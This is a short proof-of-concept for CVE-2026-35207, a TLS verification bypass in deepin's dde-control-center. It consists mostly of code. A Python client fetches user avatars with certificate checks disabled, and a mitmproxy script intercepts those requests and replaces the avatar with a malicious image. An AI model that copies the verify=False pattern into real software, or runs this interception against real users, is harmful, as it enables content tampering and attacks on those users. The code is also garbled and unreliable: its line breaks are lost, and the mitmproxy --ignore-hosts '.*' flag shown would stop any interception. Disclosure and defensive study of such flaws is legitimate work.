CVE-2026-35207 dde-control-center TLS证书验证绕过漏洞

# PoC Concept: Demonstrating the vulnerability logic (Client Side) # This script simulates how the vulnerable client requests the avatar. import requests # Vulnerable configuration: verify=False skips TLS certificate verification def get_avatar_vulnerable(url): try: # The vulnerability lies here: SSL verification is disabled response = requests.get(url, verify=False, timeout=5) print(f"[*] Status: {response.status_code}") print(f"[*] Content Type: {response.headers.get('Content-Type')}") # In a real attack scenario, this content could be replaced by an attacker return response.content except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "https://openapi.deepin.com/avatar/user_id" print(f"[*] Requesting avatar from {target_url} without certificate verification...") get_avatar_vulnerable(target_url) # PoC Concept: MITM Attack Setup (Attacker Side) # Tools like mitmproxy can be used to intercept and modify traffic. # Example command to run mitmproxy: # mitmproxy --ignore-hosts '.*' -s modify_avatar.py # modify_avatar.py script content: """ from mitmproxy import http def request(flow: http.HTTPFlow) -> None: # Log the request print(f"[MITM] Intercepting request to: {flow.request.pretty_host}") def response(flow: http.HTTPFlow) -> None: # Check if the request is for an avatar if "avatar" in flow.request.path: print("[MITM] Replacing avatar content with malicious image...") # Replace the response content with a local malicious image with open("malicious_avatar.png", "rb") as f: flow.response.content = f.read() flow.response.headers["Content-Length"] = str(len(flow.response.content)) """